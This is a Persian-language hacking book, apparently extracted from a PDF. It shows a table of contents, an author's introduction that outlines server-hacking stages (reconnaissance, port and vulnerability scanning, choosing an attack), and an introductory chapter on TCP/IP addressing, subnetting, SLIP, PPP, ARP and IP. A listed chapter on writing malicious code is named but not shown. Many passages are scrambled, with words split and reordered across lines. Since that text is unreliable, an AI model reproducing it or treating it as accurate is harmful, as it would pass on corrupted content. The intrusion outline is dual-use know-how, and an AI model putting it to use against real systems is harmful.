  .دیتاگرام سوکت های بر  مبتنیUDP روش به اطلاعات مبادله از مثالی 
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 . بلوکه شدن پروسه های تحت شبکه  

  
   .Java Scriptآموزش برنامه نویسی  

  
 Java Scriptدر یک نگاه .  
 .شی گرای و دیناميکی  
 .نحوه قرار گيری برنامه ها در صفحات وب  
 . در صفحات وب JSروش های دیگری برای قرار گيری  
  .JSمتغير ها و عمل گر های  

 
 . برای برنامه نویسی تحت شبکه اینترنت  Javaآموزش و معرفی امکانات زبان  

  
 .مقدمه  
 .داده ها در جاوا  
  .Appletاپلت ها  
  .امکانات جاوا برای برنامه نویسی سوکت  

 
  .PHPآموزش و معرفی  

  
 .مقدمه  
 PHP چيست ؟  
  .PHPنصب و پيکر بندی  
  .Easy PHPنرم افزار  
 .کد نویسی  
 .ال اطلاعات به مرورگر ارس 
 . به مرورگر htmlارسال  
 .فضا های خالی و قرار دادن توضيحات در متن برنامه  
  .PHP در nاستفاده از سویيچ  
 .افزودن توضيحات به اسکریپت ها  
 .انواع متغير ها  
 .آرایه ها  
 .نسبت دادن مقدار به متغير ها  
 .متغير های از پيش تعریف شده  
   

 
   .ASP.NET آموزش و معرفی 

  
  ..Net Frameworkنصب  
  .IISپيکر بندی و تنظيم  
  .IISو راه اندازی نصب  
  .ASP.NET برای ایجاد اولين برنامه  IISتنظيمات  
  .IISایجاد دایرکتوری مجازی در  
 .مروری  بر سطوح دسترسی ها  
  .IIS در Default Documentتنظيم  
 .متوقف کردن و راه اندازی مجدد یک سایت  
  .Sub Webایجاد یک  
  .ASP.Net برنامه اولين ایجاد و#C گرای  شی نویسی برنامه زبان مقدمات با آشنایی 
 ) .NameSpaces(آشنای با فضا های نام  
 .تعریف متغير و مقدار دهی به آن  
  .ASP.Net و نحوه استفاده ان در صفحات Htmlمعرفی کنترل های  
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  . وبهای تکميلی کنترل موارد و کاربر طرف از شده دوار های داده اعتبار تعيين و بررسی 
 .SQL-Server مقدمات   و SQL زبان با آشنایی 
  ASP.NET در ها داده با کار و دستيابی طریقه 

  
 .آموزش نوشتن کد های مخرب  

  
 .مقدمه و یک معرفی کوتاه  
 .اصل ماجرا  
 ...و 

  
  

 .... .منابع و اختتامه و  
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  :مقدمه مقاله 
  

ار را          .  نکرده ام  Deificبدون هيچ اغراق ميگویم که تا به حال هيچ صفحه وب سایتی را               ن ک اتوانی من نيست بلکه ای ر ن ل ب اما این دلي
ه شما   ، و اصلا نمی دانم برای چه و که مينویسم البته     ... بسيار پست و کم اهميت ميدانم که در ادامه متوجه خواهيد شد و             اميدوار هستم ک

و   " البته به .... ). چون چشم چالتان در ميآید که هيچ یک عده بچه هم هی به شما گير ميدهند که    ( هم از این کارها نکنيد       هيچ وجه من ال
ا                    "  جود   ه     Deificمنظورم   (نمی توان لذت این کار را انکار کرد برای تازه کارها و یا به عبارتی نو نهال ه ی در کل   ) . ...  است ن ول

ه سرعت                  . من با این کار مخالف هستم      رد و ب اصولا مقوله هک خيلی گسترده است و نمی توان در این باره مثل بقيه مقوله ها صحبت ک
ناخته شده                   ر و ش ن    . در حال تغيير شيوه ، و مکانيزم ها و ایجاد ابزارهای جدید و البته از دور خارج شدن ابزارهای پي اً آموزش ای واقع

ه خودم فکر ميکرده                   مط ط ب لب کار دشواری است برای منی که تا به حال فقط به دنبال آموزش خودم بوده ام نه کس دیگری و فقط و فق
ان                        . ام ه زب اَنگل  " پيشرفت در این راه بدون تردید نياز مبرم به مطالعه کتابهای روز این مقوله دارد که البته بيشتر این مراجع و کتابها ب

ان لازم است                                   معادل" یسی   ن زب دکی از ای ستن حداقل ان ن راه دان يش رفت در ای رای پ اً ب ه واقع ان است ک سی خودم ان انگلي د  .  هم رون
د را اصلاح                ..::نگارش این مقاله به هيچ وجه قابل دفاع نيست چون من هم مثل شما هستم                  ن رون د ای رایش جدی ن وی رده ام در ای سعی ک

ين نگارش آن             البته بعد از خواندن این م     ::.. کنم قاله پی به این که گسيختگی مطالب واقعاً وحشتناک است ، ميبرید و به هيچ وجه هم از آی
ط های                    ه غل ده باشد و البت ه فعل فاعل در جای خود آم د ک دا کني م پي نمی شود دفاع کرد چون شما حتی نميتوانيد دو جمله را پشت سر ه

  ...املایی که بيداد ميکند و
ن                             هيچ ادعایی نيست ،    ستم ای د نميدان اور کني ی ب ه حت ودم ک ه ب  من هم مثل شما هستم ، چند صباحی پيش من نيز یک کاربر معمولی رایان

ن خراب شده چرا      Stand bayوسيله چگونه خاموش ميشود و با زدن دکمه روی کيس هی این رایانه به خواب  تم ای  ميرفت و من ميگف
ن درجه   ) البته به هيچ وجه خود ستای نيست ( تم سراغ این وسيله و به نظر خودم     یکی از دلایل اصلی من که رف      !! خاموش نميشود  به ای

  . که خودم ميدانم رسيدم همين موضوع بود که خدمت شما ها عرض کردم بوده است
  

ه مراحل                        ی هرچه ب ابتی دارد ول رد و روال ث ستماتيک فرض ک شه سي شود همي ا جایی مي آخر  روند آموزش هک البته هک سرور را ت
د مراحل آخر            ل بدست آورده ای ه از مراحل قب ستگی دارد ک ميرسيم این روند کاملا به تجربه دانش و البته از همه مهمتر به اطلاعاتی ب
ه                             نم البت ی را معرفی ميک رای آن یک راه کل ا من ب اد در آن وارد شد ام شود زی اً نمي چون برای تک  ، تک سيستمها متفاوت است حقيقت

مشخص است و شامل ) اکثر اوقات با تجربه ها دور ميزنند با تجربه ایی که دارند ( قسمت سيستماتيک هميشه .  هستعملی نيز% ١٠٠
ستم عامل و            ا ، کشف سي ر   . است ... مراحل جمع آوری اطلاعات و پویش پورت و پویش نقاط آسيب پذیر و کشف سرویس ه مراحل غي

شه در                   سيستماتيک کاملا وابسته به اطلاعاتی است که در        ده همي د و چون اطلاعات بدست آم ه بدست می آوری % ٩٩٫٩٩٩٩ این مرحل
رد                      تفاده ک شه اس ام از یک شيوه همي ن گ رای ای شود ب ه شامل مراحل مختلفی               . مواقع متفاوت است نمي ام اول ک د گ ه سعی ميکن ن مقال ای

و                          ویش پ ر توضيح و آموزش پ ام دوم سعی ب د جمع آوری اطلاعات از سر        همچون شناسایی مقدماتی شبکه هدف  و در گ ا و بع رت ه
اربردی را      . بپردازم" هدر ها " برگها یا    ه های ک ستم و برنام ذیری سي در گام سوم سعی بر آن کرده ام نرم افزارهای پوش نقاط آسيب پ

ده  را ا                 . توضيح دهم  ل اطلاعات بدست آم ه تحلي ه تجزی ا شما در     در گام چهارم و آخر تمام تلاش خود را کرده ام که کمک ب م ت ام ده نج
  .انتخاب شيوه مورد نظر برای حمله بهترین را انتخاب کنيد 

ی                                  ه ای اهيم پای ه مف نم و البت ا معرفی ک دوز را در انته ه وین آخرین حرف من توجه به این نکته است سعی کردم که ابزارهای ابتدایی و پای
ه معرفی راه حل    .  مفيد واقع شوداميد است برای شما راه گشا و . UDP و TCPهمچون پورت ، پروتکل    البته در یکی از ضميمه ها ب

  ).البته من این گونه فکر ميکنم(اجرای برنامه های خانواده یونيکس در سيستم عامل ویندوز پرداخته ام که فوق العاده مفيد ميباشد 
  

ان          حقيقت  " امنيت شبکه   " اما حال چه بگویم ؛ ما وبلاگ خودم را درش تخته کردم رفتيم               این کار این بود که دیدیم بازدید کننده وبلاگم م
ال !!!!!!! (کم است و به نوعی داریم از دست ميرویم        ی           ) بی خي رار دادم  خيل ه ق تيم ، از نظر خودم مطالبی ک يم مطالب گذاش ا رفت آنج

ود ، خوب در آنج                        ه      قدیمی بود و شکی درش نيست ولی با این حال بازم برای ان وبلاگ خيلی هم خوب ب ده دیوان د کنن داد بازدی ا یک تع
د                              ... همچون ؟؟؟؟؟ و حاج آقا و      ا بگيرن ی از م راد فن ا یک ای ود ت شان نب ز حالي م چي د یک ذره ه ه حال می گرفتن ن  !! وجود داشتن ک ای

د عرض                             ورد اون وبلاگ بای ه در م تم ، البت ا دوستان نوش رای شما ه ای   جوری ها شد که من آمدم این کتاب هک نامه خودم را ب نم آق ک
و شریفی است دوستش دارم و ++++++++++++++++ امير حسين شریفی همانگونه که از نام خانوادگی آن هم برداشت ميشود بچه       

ن   ... براش آرزوی موفقيت ميکنم البته دوستان دیگری هم هستند مثل مجنون و افشين لامعی و فرهاد جعفری و محمد مسافر و      ا ای ولی ب
اک                   حال ما رفتن کرداه      ی دردن ا را دیگر لازم نيست بخوانم ، خيل و ترجيح داداه مقاله بنویسم چون اراجيف  و ، وراجی های بعضی ه

د از اینکه                         د بع تفاده کنن ه ملت اس است که آدم پول بگزارد و وقت بگزارد و تایپ کند و یک پست را آمده کند و بعد بریزد  در شبکه ، ک
نم چون   !!) پست فطرت ها !! (آدم زر ، زر  کنند مطلب خواندن و چيز یاد گرفتن برای       دیگر قصد ندارم این مقاله را دوباره ویرایش ک

  .} این دکی ميگه نه من{ اصلا فکر نمی کنم دیگر گذرم به دنيای آموزش بخورد و به عبارت ساده تر دیگر اميدی بر زنده ماندن ندارم 
  

ست و ابزارهایی به کل کتاب اما به هيچ وجه کامل نيست و اصلا به دل خودم نشسته              در ویرایش دوم چندین مبحث به مقاله اضافه شده ا         
  ...چون خيلی ناقص در بعضی از فصول خيلی قوی در بعضی دیگر خيلی ضعيف در کل  

  
  !!!)دارد معادل ن... ( حجری خورشيدی ؛ معادل با ١٣٨۴ ؛ مهر ماه سال ZXO003به اميد موفقيت تمام دوستان ؛ امير آشتيانی ؛ 
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ات و اصول                        : اهداف   ام جزیي ا تم یک آشنایی کوچک با این پروتکل برای درک بهتر مفاهيم پيش رو ؛ نه شناخت ، یک شناخت کامل ب
  !!کار

  
  .)پيش نياز  (  TCP/IPل کوتاه پروتکمعرفی   >=  فصل اول

 
  .TCP/IPمروری اجمالی بر معماری  
 آدرس دهی و ماسک زیر شبکه  
 .  و آدرس های خاص و آدرس های ثبت نشده  IPکلاسهای آدرس  
  .TCP/IPو سکوت ها و نامگذاری در ) پورت ها ( درگاه ها  
   :TCP/IPپروتکلهای  

 
 SLIP.  
 PPP.  
 ARP.  
 IP.  
 IPv6.  
 ICMP.  
 UDP.  
 TCP.  

 
   .TCP/IPمروری کلی بر پروتکل  
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   :TCP/IP  معماریمروری اجمالی بر
  

ار خودش شکست                        این پروتک  ه از ک د از گذشت یک ده ل برای آن تهيه شد که شبکه های با هر اندازه ای را پشتيبانی کند و لی عملا بع
 شد ، بگذریم سر جایش     IPv6ها بر آن شدن که اصلاحاتی را در آن به وجود آورند که منجر به تهيه و توزیع                 ... خورد و سازندگان و     

  :هار لایه تقسيم ميشود که در زیر مشاهده ميکنيد توضيح ميدهم ، این پروتکل به چ
  

----------------------------------------------------------------  
  |کاربردی                                        |                                      

----------------------------------------------------------------  
  |انتقال                                            |                                      

---------------------------------------------------------------- 
  |اینترنت                                          |                                      

----------------------------------------------------------------  
  |پيوند                                             |                                      

---------------------------------------------------------------- 
  

اربردی       در لایه کاربردی همچون که از اسم آن        ه های ک رای برنام  برداشت ميشود ؛ بر اساس لایه های زیرین ، سرویس سطح بالایی ب
  .است ....  و HTTP  و E-MAIL و FTPاین خدمات در قالب پروتکلهای دیگری همچون . ارائه ميشود 

  
در این لایه . ال گرا و مطمئن برقرار کرد ارائه ميکند یک ارتباط اتص) اینترنت(در لایه انتقال ميتوان بر اساس سرویسی که لایه شبکه          

شود    !!! سرویس دیگری هم وجود دارد که بيشتر بر ارسال سریع داده ها تمرکز ميکند تا دقت بر ارسال درست و سالم آنها        وعی مي ه ن ب
  . در این لایه فعاليت ميکنند UDP و TCPگفت پروتکل 

  
رد                 ، این لایه وظيفه دار    ) اینترنت(لایه سوم یا شبکه      ه مقصد بب دا ب ه   .  د بسته های اطلاعاتی را روی شبکه هدایت کرده و از مب ن لای ای

 RIP و RARP و ARPرا دارند در این لایه پروتکلهای همچون       ...  دارای چندین پروتکل است که وظيفه های همچون مسير یابی  و             
  .کار ميکنند ....    و BOOTP و IGMP و ICMPو 
  

د (شبکه   لایه چهارم یا واسط       زاری تعریف                           ) پيون رم اف زاری و ن تانداردهای سخت اف دازها و اس ای شبکه و راه ان ه پروتکله ن لای در ای
  .مورد توجه است ... به نوعی ميشود گفت مسایل فيزیکی و . ميشوند
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 ٢٢    صفحه

  IPلاسهای آدرس که و ک زیر شبکآدرس دهی و ماس
  

  :آدرس دهی 
  

ن پروتکل هستند                         که برا  IPآدرس های    رین ویژگی ای د و برجسته ت ار ميرون ا    . ی شناسایی سيستم های یک شبکه به ک ن آدرسها یکت ای
ه آن را   IP خود حاوی آدرس     IP ارسال ميشوند در سرآیند      TCP/IP که بر روی شبکه      IPهستند و هر بسته از دیتا گرام           دا ک  سيستم مب

د ميباشد        توليد کرده است و سيستم مقصد که باید آن را          ادل  IPطول هر آدرس     .  دریافت کن ار عدد       ٣٢ مع ه صورت چه  بيت است و ب
ل               شود ، مث ایش داده مي شوند نم دا مي م ج ا نقطه از ه ه ب ی ک ایش دهدهی نقطه دار       ١٩٢٫١۶٨٫٢٫۴۵دهدهی  هشت بيت ه نم ن عدد ب  ، ای

ه     اي( . معروف است و هریک از اعداد هشت بيتی را گاهی اکتت یا کواد مينامند   ن جهت ب ا را از اي د  ک ن واژه ه امپيوتر ک ه ک ار ميرون
 بيتی است  ٨از آنجا که هر کواد معادل دهدهی یک عدد باینری  .  )  بيت نميباشد ٨تر بايت در آنها معادل    ه واژه متداول  کهای هستند   

ا          ن ترتيب محدوده کامل آدرس های         .  ميباشد    ٢۵۵مقادیر ممکن ان از صفر ت ه ای ا  ٠٫٠٫٠٫٠ ممکن از  IPب  ٢۵۵٫٢۵۵٫٢۵۵٫٢۵۵ ت
  .است

  
ند          IP آدرس های   :ته  کن  ده واسط های شبکه ميباش ستند ، بلکه نماین ا ني امپيوتر ه ه طور   .  به خودی خود نماینده ک ب

 دارد ،   TCP/IP و یک اتصال مودم به یک سرویس دهنده          NICمثال رایانه ای که دو کارت واسطه شبکه  ، یا یک             
ا         . گویند چند ميزبانی   سيستمی که دارای دو یا چند واسط دارد را          . شد   ميبا IPدارای دو آدرس     ن واسط ه حال اگر ای

د ،                                 ل کن ا منتق ين شبکه ه ار را ب ه ب دی شده باشد ک رایانه را به شبکه های مختلف وصل کنند و سيستم چنان پيکر بن
  . را انجام ميدهدمسير يابميگویند این سيستم عمل 

  
اند یک رایانه معمولی باشد با دو واسط شبکه  و نرم افزاری  با قابليت مسير یابی  ، و یا یک        مسير یاب ميتو    :ته  کن 

 .وسيله سخت افزاری اختصاصی باشد که مخصوصا برای مسير دهی بار شبکه طراحی شده باشد 
  
  

ه یک واسط                IP  هر آدرس     :ته  کن  ان   ( حاوی بيت های است که یک شبکه را متمایز ميکند ، و بيت های ک ه ميزب ک
شود ده مي د ) نامي بکه . را روی آن شبکه را مشخص ميکنن ای ش ط از بيته ا فق ستم ه بکه ، سي ه یک ش اره ب رای اش ب

سيریاب              . استفاده ميکنند  ، و به جای بيتهای ميزبان صفر قرار ميدهند              ه م ا ب سته ه تادن ب مسيریاب ها نيز برای فرس
ای ش صد وصل است از بيته بکه مق ه ش ه ب صد دیگری ک ان مق ستم ميزب رای سي د ، و او داده را ب تفاده ميکنن بکه اس

 .ارسال ميکند 
  

  :ه ک زير شبکماس
  

شوند                 IPهميشه بعضی از بيتهای آدرس       ان اختصاص داده مي رای شناسایی ميزب ه        .   برای شناسایی شبکه و بعضی ب ای ک داد بيته ا تع ام
رود ،     ٨  بيت برای شبکه و ٢۴اری از آدرسها در بسي. هميشه برای این مقاصد به کار ميروند یکی نيست        ار مي ه ک ان ب  بيت برای ميزب

برای دانستن اینکه برای هر منظور کدام بيتها به کار رفته اند هر       . ولی مرز بين بيتهای شبکه و ميزبان ميتواند هر جای از آدرس باشد              
اینری   ماسک.  خود یک ماسک زیر شبکه هم دارد   IP به همراه آدرس     TCP/IPسيستم   ای     ٣٢ زیر شبکه یک عدد ب ه بيته ی است ک  بيت

اظر از آدرس   ) ١(هر بيت از ماسک که مقدار ان یک        .  است   IPآن متناظر با بيتهای       بخشی از شناسه   IPباشد نشان ميدهد که بيت متن
ان  ميباشد          ) ٠(شبکه است ، و هر بيت صفر        اظر بخشی از شناسه ميزب ه بيت آدرس متن د ک شان ميده ل . ن ر   IP آدرس مث  ، ماسک زی

 باشد ولی  عملکرد IPبنابر این هر چند ممکن است ماسک در ظاهر مثل آدرس          . شبکه نيز با نمایش دهدهی نقطه دار نشان داده ميشود           
  : زیر را در نظر بگيرید TCP/IPبه عنوان مثال سيستمی با پيکر بندی . آن کاملا متفاوت است 

  
  ١٩٢٫١۶٨٫٢٫۴۵ : IPآدرس 

  
  ٢۵۵٫٢۵۵٫٢۵۵٫٠: یر شبکه ماسک ز

  
ر است        .  ميزبان را مشخص ميکند      ۴۵ ، شبکه ، و      IP آدرس   ١٩٢٫١۶٨٫٢در این مثال قسمت      ه صورت زی ادل  (در شکل دهدهی ب مع

  ) :باینری آنها
  

   : IPآدرس 
11000000 . 10101000 . 00000010 . 00101101 

  
  :ماسک زیر شبکه 
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 ٢٣    صفحه

11111111 . 11111111 . 11111111 .  00000000 
  

واد است                       :ته  کن  .   همان طور که در این مثال دیده می شود مرز بين  بيتهای شبکه  و ميزبان ، مخل بين سومين و چهارمين ک
ا نيست                   واد ه ين ک ا ب ن خط مرزی الزام ر شبکه          . اما ای ثلا  ماسک زی ان   ١٢ ؛   ٢۵۵٫٢۵۵٫٢۴٠٫٠٠٠م  بيت را آدرس ميزب

 .اختصاص  ميدهد 
  

ا  ٣٢ن بيتهای شبکه و ميزبان ميتواند در هر جایی از       خط مرزی بي    :ته  کن   بيت ماسک قرار بگيرد ، اما هرگز بيتهای شبکه ب
 .بيتهای ميزبان در آميخته نميشوند و هميشه خط مشخصی بيت های شبکه در چپ را از بيتهای ميزبان در راست جدا می کند
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 ٢٤    صفحه

   و آدرس های خاص و آدرس های ثبت نشده IPس لاسهای آدرک
  
   :IPلاسهای آدرس ک
  

ه                     IPکلاسهای آدرس    دازه مختلف ک ا ان ایی ب وان شبکه ه ند      مناسب  برای آن تعریف شده اند که بت اربرد های مختلف باش  سازمانها و ک
  :این کلاسها به قرار زیر است . ایجاد کرد 

  
 Eکلاس  Dکلاس  Cکلاس  Bکلاس  Aکلاس   

 - - 24 16 8  بيتهای آدرس شبکه
 - - 8 16 24  بيت های آدرس ميزبان

 - -255.255.255.0 255.255.0.0 255.0.0.0  ماسک زیر شبکه
 1111 1110 110 10 0  )باینری: (آدرس ها شروع ميشوند با 

 255-240 239-224 223-192 191-128 127-0  )دهدهی: ( مقدار اولين بایت
 - - 2097151 16384 127  تعداد شبکه ها
 - - 254 65534 16777214  تعداد ميزبان ها

   
  

د                                  :ته  کن  ار ميرون ه ک ان ب ایش شبکه و ميزب ه نم ه در کلاسهای مختلف ب ای ک داد بيته ه تع د ک ه توجه کني ن نکت   شما باید به ای
 .متفاوت است 

  
  :آدرس های ثبت نشده 

  
ل دسترسی     که باید از شبکصل ميشوند است و یا رایانه های     ه به اینترنت و   که های است    ک مخصوص شب  IPثبت آدرس    ه های دیگر قاب

  . وقتی که یک آدرس شبکه ثبت می شود هيچ کس دیگری مجاز به استفاده از آن نيست . باشند 
ا     داخل ه رای اینترنت های خصوصی      ((  ، RFC 1918برای پيشگيری از ت رده     )) تخصيص آدرس ب ه آدرس را مشخص ک سه دامن

ن                      . ت که مخصوص استفاده در شبکه های ثبت نشده هستند         اس ر ای ا ب د و بن شده ان این آدرسها به هيچ شبکه ثبت شده ای اختصاص داده ن
  ..این آدرسها به قرار زیر ميباشند. ميتوانند مورد استفاده هر سازمان عمومی و یا خصوصی قرار بگيرند

  
 10.0.0.0 تا A 10.255.255.255کلاس 
 172.16.0.0 تا B 172.31.255.255کلاس 
 192.168.0.0 تا C 192.168.255.255کلاس 

  
  

   :آدرس های خاص
  

ه شبکه                     به غير از دسته آدرس های که برای استفاده در شبکه های ثبت نشده اختصاص داده شده اند ، آدرس های دیگری هم هستند که ب
  :این آدرس ها در جدول زیر نمایش داده ام .  کار ميروند های ثبت شده اختصاص نيافته اند ، زیرا برای اهداف خاص به

  
  عملکرد  مثال  آدرس 

آدرس ميزبان جاری روی شبکه جاری است ؛ مثلا در طراحی            0.0.0.0  )٠(همه بيت ها صفر 
يش از اینکه آدرس        DHCPیک مبادله    اری       IP پ ستگاه ک ه ای  ب

  .اختصاص داده شود
ی را    255.255.255.255  )١(همه بيت ها یک   بکه محل ای ش ه ميزبانه ده ؛ هم دود ش انی مح ال همگ ارس

  .مشخص می کند
  .یک شبکه را مشخص ميکند  192.168.2.0  )٠(همه بيتهای ميزبان صفر 
ای شبکه دیگری را                 192.168.2.255  )١(همه بيتهای ميزبان یک   ه ميزبانه دایت شده ؛ هم ارسال همگانی ه

  .مشخص ميکند 
  .یک ميزبان خاص روی شبکه جاری را مشخص ميکند  0.0.0.22  )٠ (همه بيتهای شبکه صفر

  .آدرس دور برگردان ميزبان داخلی  127.0.0.1  ١٢٧اولين کواد  
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 ٢٥    صفحه

  TCP/IPوت ها و نامگذاری در کدرگاه ها و س
  

  :وت ها ک و س)پورت ها  ( درگاه ها
  

الا        امکان مسير دهی بار شبکه به یک سيستم خاص را فراهم م  IPآدرس های    ه ب ه شدند و شروع ب ا وارد رایان يکند ، ولی وقتی بسته ه
ا     TCPاین کار وظيفه پروتکل لایه انتقال است ، یعنی          . رفتن در پشته پروتکل کردند باید به نزد برنامه مربوطه هدایت شوند             . UDP ی

ه در هر سرآیند      از شماUDP یا TCPبرای شناسایی فرآیند های خاصی که روی رایانه در حال اجرا هستند        د ک ره درگاه استفاده ميکنن
TCP یا UDP شماره درگاه های مخصوص همگی در .  موجود ميباشندRFC 1700موجود ميباشد  .  

  
 لازم است یک سوکت   URLکه در فرمت .  ميگویند تکسورا ) پورت( و یک شماره درگاه IP  به ترکيب یک آدرس      :ته  کن 

  ١٩٢٫١۶٨٫٢٫۴۵:٨٠>  =مثل . رگاه نمایش داده شود و بين آنها دو نقطه قرار گيرد  و به دنبال آن شماره دIPبا آدرس 
  
  

   :TCP/IPنامگذاری در 
  

  !!!! معروف است را فعلا فاکتور ميگيریم تا بعد DNSاین مبحث که به 
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 ٢٦    صفحه

     :TCP/IPلهای کپروت
  

 وجود TCP/IP را تشکيل ميدهند معرفی خواهم کرد دهها پروتکل و استاندارد  TCP/IPعه  در بخشهای آتی اهم پروتکل های که مجمو       
  .   رواج دارد TCP/IPدارند ، ولی استفاده بعضی از آنها در سيستم های یک شبکه 

  
SLIP : 

  
اد ش                   ١٩٨٠در اوایل دهه     تاندارد رسمی      . د   به عنوان ساده ترین راه حل ممکن برای ارسال داده ها بر روی اتصالات سری ایج هيچ اس

ه اصول         !!! ( این پروتکل را تعریف نميکند       ردم ک علت معرفی آن این بود که بنده  یک ابزار ما فوق خفن را از یک دوست دریافت ک
  . عملکرد این پروتکل تشریح شده است RFC 1055اما در یک ) کار ان از این عتيقه شروع ميشود ، واقعاً مرگبار است 

  
ا        END به عنوان مرز  c0 خيلی ساده است یک فيلد یک بایت ی با مقدار هگزا دسيمال          SLIPفریم   ام دیت ال تم ه دنب ه ب د ، ک  عمل ميکن

م اینک                   ENDکاراکتر  .  که بر روی پيوند ارسال ميشوند می آید        IPگرام های    ه ه سته ای ک ه ب د ک ده اطلاع ميده ستم دریافت کنن ه سي  ب
سته  IPبعضی از سيستم ها پيش از هر دیتا گرام  . ( ارسال می شد به پایان رسيده است         د   END هم یک ب رار ميدهن ن ترتيب    ) .  ق ه ای ب

اراکتر                             را در دو طرف آن ک د زی ار ميکن سته رفت  ENDاگر نویز خطی بين دیتا  گرام ها پيش بياید سيستم دریافت کننده با ان مثل یک ب
د                آنگاه وقتی پروتکل های لایه های       . قرار گرفته اند     بالاتر سعی ميکنند آن را پردازش کنند ميفهمند که آشغال است و آن را دور ميریزن

 .  
  

END  داده  END  داده  END  داده  END 
  

دار    ا مق ه رشته دو بایت ی        c0اگر دیتا گرامی حاوی بایت ی ب يش از ارسال ب ستم آن را پ ه      db dc باشد ، سي سته ب ا ب د ، ت ر ميده  تغيي
د      ESC به کاراکتر dbایت ب. اشتباه خاتمه نيابد     امين ميکن اگر  .  اشاره ميکند ، که وقتی با کاراکتر دیگری جفت شود هدف خاصی را ت

  . را جایگزین آن ميکندdb dd واقعی باشد سيستم پيش از ارسال رشته ESCدیتا گرام در قسمتی از داده خود حاوی یک کاراکتر 
  

  . اسکی نيست ESC معادل کاراکتر  تعریف ميشودSLIP که توسط ESC  کاراکتر :ته کن 
  

تفاده                ا اس د ب این باز تکرار ميکنم اگر برنامه نویسی بلد هستيد و شم هکری دارید با دو خط برنامه ميتوانيد خفن ترین برنامه را ایجاد کني
  .بی خيال!!! از این پروتکل 

  
PPP : 

  
ارای               !! دانستيد  با این خيلی سر کار داشتيد ولی احتمال خيلی زیادی ميدهم که نمي             اد شد  ، ک ی ایج ر از قبل شرفته ت دل پي به عنوان یک م

سرآیند این پروتکل . بيشتری دارد از جمله قابليت ترکيب پروتکل های مختلف لایه شبکه و پشتيبانی از پروتکل های تایيد اعتبار مختلف
شتر اتصالا         ٨ فقط   PPPبزرگتر است ولی     رای بي د ب سته اضافه ميکن ان خدمات اینترنت ، چه توسط          بایت به هر ب د گ راهم کنن ه ف ت ب

تيابی             ISPزیرا  .  استفاده ميشود  PPPسيستم های مستقل و چه توسط مسيریاب ها  ، از             رل دس رای کنت داتی را ب سازد تمهي  ها را قادر مي
  !!!پياده سازی کند که شبکه های آن ها را از ورود کاربران غير مجاز محافظت می نمایند 

  
ر از                    PPPهر نشست    تفاده   PPP شامل چند عمليات برقراری و خاتمه اتصال است که برای انجام آنها  از پروتکل های دیگر غي ز اس  ني

  :این عمليات ها عبارتند از . ميشود 
  

صال  .� راری ات ده    –برق رل کنن ل کنت دازد از پروتک ه راه ان صال را ب د ات ه ميخواه ستمی ک اره  LCP سي ا درب د ت تفاده ميکن  اس
 .ترهای ارتباطی مشترک بين دو ماشين مذاکره کنند پارام

د         –تایيد اعتبار    .� ستم دیگر از یک پروتکل تایي ه سي تيابی ب اره دس  هر چند ضروری نيست ولی سيستم ميتواند برای مذاکره درب
 . استفاده کندCHAP یا PAP اعتبار مثال 

ه            –برقراری اتصال پروتکل لایه شبکه        .� ه شبکه ک رای هر پروتکل لای د یک               ب تفاده ميکنن ا در طی نشست از آن اس ستم ه  سي
 . انجام می دهندIPCPعمليات برقراری اتصال جداگانه با استفاده از پروتکل کنترل شبکه مثل 

  
ر خلاف    تاندار شده است    PPP  پروتکل  SLIPب  RFC  و RFC 1663  و RFC 1662  و RFC 1661مشخصه های آن در   .  اس

ده است و      ( آورده شده است   RFC 1989  و RFC 1994 و RFC 1334   و RFC 1552  و  1332 داری از آن آم ا مق ام اینه در تم
  ) .شما باید تمام اینها را مطالعه کنيد نه فقط یکی را 
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 ٢٧    صفحه

  !!! صفحه ای بنویسم که حال ندارم ۵ الی ۴من به همين قدر اکتفا ميکنم چون اگر بخواهم این پروتکل را باز کنم باید حداقل یک 
  

ARP : 
  

ژه ای در مجموعه         . پروتکل تصميم گيری درباره آدرس       اه وی دی               .  دارد TCP/IPجایگ اره پيکر بن ه تلاشی درب ر هرگون را در براب زی
رام های   ARP پيغام های    TCP/IPبرخلاف بيشتر پروتکل های دیگر      !! مخالفت کرده    شوند  IP در دیتا گ ل نمي عملکرد پروتکل   .  منتق

ARP بنا به تعریف RFC 826 مطابقت دادن آدرس های ، IP      ه رود ب ار مي ه ک ا ب  که در لایه های بالاتر برای مشخص کردن سيستم ه
ا ميباشد              . کار ميروند    د داده ه ه پيون زاری لای ه   . با آدرس های سخت اف ابع شبکه ، آدرس     TCP/IPیک برنام رای درخواست من  IP ب

ا       DNS را از یک   IP است این آدرس     سيستم ممکن .  قرار ميدهد  IPمقصد را در سرآیند پروتکل       اربردی ام ه ک ا از خود برنام رد ی  بگي
رام             IPپروتکل های لایه پيوند داده ها مثل اترنت از آدرس های             ا گ وای دیت د محت د و نميتوانن تفاده نميکنن د  IP اس رای آنکه   .  را بخوانن ب

ت افزاری را که در آداپتور واسط شبکه سيستم مقصد هک شده     بسته به مقصد خود ارسال شود پروتکل لایه پيوند داده ها باید آدرس سخ             
سته های تقاضای            . را به آدرس های سخت افزاری تبدیل ميکند   IP آدرس های    ARP.داشته باشد  انی ب ا ارسال همگ ه ب ن ترتيب ک ه ای ب

اوی آدرس  د IPح ال کن ا صاحب ان در جواب پاسخی ارس شود ت ردازد و منتظر مي ی ميپ بکه محل ه روی ش اوی آدرس سخت  ب ه ح  ک
  .افزاری معادل باشد

ده دارد  IP و آدرس های سخت افزاری آن است که          IPبزرگترین تفاوت بين آدرس های        وظيفه تحویل بسته به مقصد نهایی آن را بر عه
ان شبکه ب   .، در حالی که اترنت فقط مسئول تحویل آن به توقف گاه بعدی است در طول سفر است          سته روی هم اشد پروتکل   اگر مقصد ب

IP   از ARP   استفاده ميکند تا آدرس IPرار     .  مقصد نهایی را به یک آدرس سخت افزاری تبدیل کند اما اگر مقصد روی شبکه دیگری ق
ه پروتکل   IP، بلکه از .  استفاده نميکندARP برای تعيين مقصد نهایی از  IPداشته باشد پروتکل     ل  ARP دروازه پيش فرض را ب  تحوی

  .تبدیل آدرس را انجام دهدميدهد تا عمل 
  

IP :  
  

ه ای است     IP.  استTCP/IP پروتکل اصلی حامل برای مجموعه RFC 791 ، بر اساس تعریف IPپروتکل اینترنت  ا پاکت نام  اساس
رس دهی  آد-١وظيفه این پروتکل را به چهار دسته کلی .  را منتقل ميکندTcp/IPکه پيغام های توليد شده توسط بيشتر پروتکلهای دیگر    

  . مسير یابی  ؛ است-۴ تکه ، تکه کردن -٣ بسته بندی -٢
  

  : به صورت زیر است IPیک بسته ) فرمت سرآیند(قالب 
  
  
87654 3 2 1 8 76543218765 4 3 2 18 7 6 5 4 3 2 1 

  نسخه IHL  نوع سرویس  طول کل
